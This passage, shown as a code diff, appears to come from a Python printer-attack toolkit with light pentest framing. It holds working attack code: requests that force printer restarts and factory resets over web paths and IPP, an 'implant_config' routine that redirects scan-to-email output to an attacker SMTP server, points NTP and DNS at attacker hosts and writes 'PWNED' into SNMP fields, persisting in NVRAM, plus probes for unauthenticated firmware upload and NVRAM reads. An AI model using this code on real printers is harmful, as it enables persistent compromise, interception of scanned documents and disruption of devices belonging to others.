('/admin/restart', 'POST', {}),
|
|
550
|
+
('/hp/device/restart', 'POST', {}),
|
|
551
|
+
('/DevMgmt/restartDevice', 'POST', {}),
|
|
552
|
+
('/startkm.htm', 'POST', {'func': 'factory', 'submit': '1'}),
|
|
553
|
+
]
|
|
554
|
+
for scheme in ('http', 'https'):
|
|
555
|
+
port = 443 if scheme == 'https' else 80
|
|
556
|
+
for path, method_http, data in reset_paths:
|
|
557
|
+
try:
|
|
558
|
+
r = requests.post(
|
|
559
|
+
f'{scheme}://{host}:{port}{path}',
|
|
560
|
+
data=data, timeout=timeout, verify=False,
|
|
561
|
+
)
|
|
562
|
+
if r.status_code in (200, 204) and any(
|
|
563
|
+
w in r.text.lower() for w in ['restart', 'reset', 'reboot', 'ok']
|
|
564
|
+
):
|
|
565
|
+
if verbose:
|
|
566
|
+
print(f" [FIRMWARE] Web reset accepted at {path}")
|
|
567
|
+
return True
|
|
568
|
+
except Exception:
|
|
569
|
+
pass
|
|
570
|
+
|
|
571
|
+
elif method == 'ipp':
|
|
572
|
+
try:
|
|
573
|
+
from protocols.ipp_attacks import discover_endpoints, _build_request, _post_ipp
|
|
574
|
+
eps = discover_endpoints(host, timeout)
|
|
575
|
+
if eps:
|
|
576
|
+
ep = eps[0]
|
|
577
|
+
uri = f"ipp://{host}{ep['path']}"
|
|
578
|
+
body = _build_request(0x003B, uri) # Restart-Printer
|
|
579
|
+
resp = _post_ipp(host, ep['port'], ep['path'], body,
|
|
580
|
+
scheme=ep['scheme'], timeout=timeout)
|
|
581
|
+
if resp:
|
|
582
|
+
status = struct.unpack('>H', resp[2:4])[0]
|
|
583
|
+
if status == 0x0000:
|
|
584
|
+
if verbose:
|
|
585
|
+
print(f" [FIRMWARE] IPP Restart-Printer accepted")
|
|
586
|
+
return True
|
|
587
|
+
except Exception as exc:
|
|
588
|
+
_log.debug("IPP reset: %s", exc)
|
|
589
|
+
|
|
590
|
+
return False
|
|
591
|
+
|
|
592
|
+
|
|
593
|
+
# ── F. Persistent config implant ──────────────────────────────────────────────
|
|
594
|
+
|
|
595
|
+
def implant_config(
|
|
596
|
+
host: str,
|
|
597
|
+
smtp_host: str = '',
|
|
598
|
+
smtp_email:str = '',
|
|
599
|
+
ntp_host: str = '',
|
|
600
|
+
dns_server:str = '',
|
|
601
|
+
snmp_community: str = '',
|
|
602
|
+
timeout: float = 10,
|
|
603
|
+
verbose: bool = True,
|
|
604
|
+
) -> Dict[str, bool]:
|
|
605
|
+
"""
|
|
606
|
+
Attempt to implant configuration changes that survive reboots.
|
|
607
|
+
|
|
608
|
+
Use cases:
|
|
609
|
+
- Redirect scan-to-email output to attacker SMTP
|
|
610
|
+
- Change NTP server to attacker-controlled host
|
|
611
|
+
- Change DNS server to intercept printer name resolution
|
|
612
|
+
- Set SNMP community to attacker-controlled string
|
|
613
|
+
|
|
614
|
+
These changes persist in printer NVRAM and survive power cycles.
|
|
615
|
+
Requires either: default/no credentials, or prior credential compromise.
|
|
616
|
+
|
|
617
|
+
Returns dict of {config_key: success}.
|
|
618
|
+
"""
|
|
619
|
+
results: Dict[str, bool] = {}
|
|
620
|
+
|
|
621
|
+
# 1. SNMP SET — community strings and system info
|
|
622
|
+
if snmp_community or dns_server:
|
|
623
|
+
from protocols.storage import snmp_write
|
|
624
|
+
for oid, val, label in [
|
|
625
|
+
('1.3.6.1.2.1.1.6.0', f'PWNED:{snmp_community}', 'sysLocation'),
|
|
626
|
+
('1.3.6.1.2.1.1.4.0', 'pentest@safelabs.local', 'sysContact'),
|
|
627
|
+
]:
|
|
628
|
+
if val:
|
|
629
|
+
ok = snmp_write(host, oid, val, community='private', timeout=timeout)
|
|
630
|
+
results[label] = ok
|
|
631
|
+
if verbose and ok:
|
|
632
|
+
print(f" [IMPLANT] SNMP {label} set to {val!r}")
|
|
633
|
+
|
|
634
|
+
# 2. Web form — SMTP / scan-to-email redirect
|
|
635
|
+
if smtp_host or smtp_email:
|
|
636
|
+
smtp_paths = [
|
|
637
|
+
('/hp/device/config/smtpConfig', {'smtp_server': smtp_host, 'to': smtp_email}),
|
|
638
|
+
('/admin/email', {'smtp': smtp_host, 'email': smtp_email}),
|
|
639
|
+
('/cgi-bin/mail.cgi', {'mailserver': smtp_host, 'mailto': smtp_email}),
|
|
640
|
+
]
|
|
641
|
+
for scheme in ('http', 'https'):
|
|
642
|
+
port = 443 if scheme == 'https' else 80
|
|
643
|
+
for path, data in smtp_paths:
|
|
644
|
+
try:
|
|
645
|
+
r = requests.post(
|
|
646
|
+
f'{scheme}://{host}:{port}{path}',
|
|
647
|
+
data=data, timeout=timeout, verify=False,
|
|
648
|
+
)
|
|
649
|
+
if r.status_code in (200, 204):
|
|
650
|
+
results['smtp_redirect'] = True
|
|
651
|
+
if verbose:
|
|
652
|
+
print(f" [IMPLANT] SMTP redirect set → {smtp_host}")
|
|
653
|
+
break
|
|
654
|
+
except Exception:
|
|
655
|
+
pass
|
|
656
|
+
|
|
657
|
+
return results
|
|
658
|
+
|
|
659
|
+
|
|
660
|
+
# ── G. Full firmware audit ─────────────────────────────────────────────────────
|
|
661
|
+
|
|
662
|
+
def firmware_audit(
|
|
663
|
+
host: str,
|
|
664
|
+
timeout: float = 10,
|
|
665
|
+
verbose: bool = True,
|
|
666
|
+
) -> Dict:
|
|
667
|
+
"""
|
|
668
|
+
Run a comprehensive firmware security audit.
|
|
669
|
+
|
|
670
|
+
Returns dict with firmware version, upload capability, NVRAM access,
|
|
671
|
+
reset capability, and payload language support.
|
|
672
|
+
"""
|
|
673
|
+
result = {
|
|
674
|
+
'host': host,
|
|
675
|
+
'firmware_version': None,
|
|
676
|
+
'upload_vulnerable': False,
|
|
677
|
+
'upload_endpoint': None,
|
|
678
|
+
'nvram_accessible': False,
|
|
679
|
+
'reset_pjl': False,
|
|
680
|
+
'reset_ipp': False,
|
|
681
|
+
'payloads': [],
|
|
682
|
+
'risk': [],
|
|
683
|
+
}
|
|
684
|
+
|
|
685
|
+
if verbose:
|
|
686
|
+
print(f"\n [FIRMWARE] Audit: {host}")
|
|
687
|
+
|
|
688
|
+
# Firmware version
|
|
689
|
+
fw = get_firmware_version(host, timeout)
|
|
690
|
+
result['firmware_version'] = fw
|
|
691
|
+
if fw['version']:
|
|
692
|
+
if verbose:
|
|
693
|
+
print(f" [FIRMWARE] Version: {fw['version']} (via {fw['source']})")
|
|
694
|
+
|
|
695
|
+
# Upload check
|
|
696
|
+
upload = check_firmware_upload(host, timeout, verbose)
|
|
697
|
+
result['upload_vulnerable'] = upload['vulnerable']
|
|
698
|
+
result['upload_endpoint'] = upload['endpoint']
|
|
699
|
+
if upload['vulnerable']:
|
|
700
|
+
result['risk'].append('FIRMWARE_UPLOAD_UNAUTHENTICATED')
|
|
701
|
+
|
|
702
|
+
# NVRAM read probe
|
|
703
|
+
nvram_data = nvram_read(host, timeout=timeout)
|
|
704
|
+
if nvram_data and len(nvram_data) > 10:
|
|
705
|
+
result['nvram_accessible'] = True
|
|
706
|
+
result['risk'].append('NVRAM_READABLE')
|
|
707
|
+
if verbose:
|
|
708
|
+
print(f" [FIRMWARE] NVRAM read: {len(nvram_data)} bytes returned")
|
|
709
|
+
|
|
710
|
+
# Reset capability (dry test — only PJL INFO, not actual reset)
|
|
711
|
+
try:
|
|
712
|
+
from utils.ports import PortConfig as _PC
|
|
713
|
+
_raw_port = _PC.resolve('raw')
|
|
714
|
+
UEL = b'\x1b%-12345X'
|
|
715
|
+
s = socket.create_connection((host, _raw_port), timeout=timeout)
|
|
716
|
+
s.sendall(UEL + b'@PJL INFO ID\r\n' + UEL)
|
|
717
|
+
time.sleep(0.5)
|
|
718
|
+
resp = s.recv(256)
|
|
719
|
+
s.close()
|
|
720
|
+
if resp:
|
|
721
|
+
result['reset_pjl'] = True
|
|
722
|
+
result['payloads'].append('pjl')
|
|
723
|
+
result['risk'].append('PJL_PORT_RESPONSIVE')
|
|
724
|
+
except Exception:
|
|
725
|
+
pass
|
|
726
|
+
|
|
727
|
+
# IPP availability
|
|
728
|
+
try:
|
|
729
|
+
from protocols.ipp_attacks import discover_endpoints
|
|
730
|
+
eps = discover_endpoints(host, timeout)
|
|
731
|
+
if eps and eps[0]['auth'] == 'none (anonymous OK)':
|
|
732
|
+
result['reset_ipp'] = True
|
|
733
|
+
result['payloads'].append('ipp')
|
|
734
|
+
result['risk'].append('IPP_NO_AUTH')
|
|
735
|
+
except Exception:
|
|
736
|
+
pass
|
|
737
|
+
|
|
738
|
+
return result
|